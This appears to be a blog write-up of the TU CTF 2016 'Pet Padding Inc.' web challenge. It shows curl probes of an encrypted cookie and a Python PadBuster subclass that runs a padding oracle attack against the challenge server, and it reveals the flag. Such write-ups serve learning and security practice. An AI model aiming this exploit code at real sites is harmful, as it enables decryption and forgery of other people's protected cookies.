TU CTF – Pet Padding Inc.

A web challenge worth 150 points, with description

We believe a rouge whale stole some data from us and hid it on this website. Can you tell us what it stole?

http://104.196.60.112/

Visiting the site, we see that there is a cookie youCantDecryptThis. Alright… lets try to fiddle with it.

Skärmavbild 2016-05-15 kl. 11.18.51

We run the following command
curl -v --cookie "youCantDecryptThis=aaaa" http://104.196.60.112/
and we observe that there is an error which is not present compared to

Skärmavbild 2016-05-15 kl. 11.36.32

when running it with the correct cookie is set, i.e.,
curl -v --cookie "youCantDecryptThis=0KL1bnXgmJR0tGZ/E++cSDMV1ChIlhHyVGm36/k8UV/3rmgcXq/rLA==" http://104.196.60.112/

Skärmavbild 2016-05-15 kl. 11.36.59

Clearly, this is a padding error (actually, there is an explicit padding error warning but it is not shown by curl). OK, so decryption can be done by a simple padding oracle attack. This attack is rather simple to implement (basically, use the relation P_i = D_K(C_i) \oplus C_{i-1} and the definition of PCKS padding, see the wikipedia page for a better explanation), but I decided to use PadBuster. The following (modified example) code finds the decryption:

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = quote(b64encode(data))
        print somecookie
        self.session.cookies['youCantDecryptThis'] = somecookie

        while 1:
            try:
                response = self.session.get('http://104.196.60.112',
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...', self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)
        if 'warning' not in response.headers:
            logging.debug('No padding exception raised on %r', somecookie)
            return

        raise BadPaddingException

if __name__ == '__main__':
    import logging
    import sys
    logging.basicConfig(level=logging.DEBUG)
    encrypted_cookie = b64decode('0KL1bnXgmJR0tGZ/E++cSDMV1ChIlhHyVGm36/k8UV/3rmgcXq/rLA==')
    padbuster = PadBuster()
    cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))
    print('Decrypted somecookie: %s : %r' % (sys.argv[1], cookie))

The decrypted flag we get is TUCTF{p4dding_bec4use_5ize_m4tt3rs}!

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s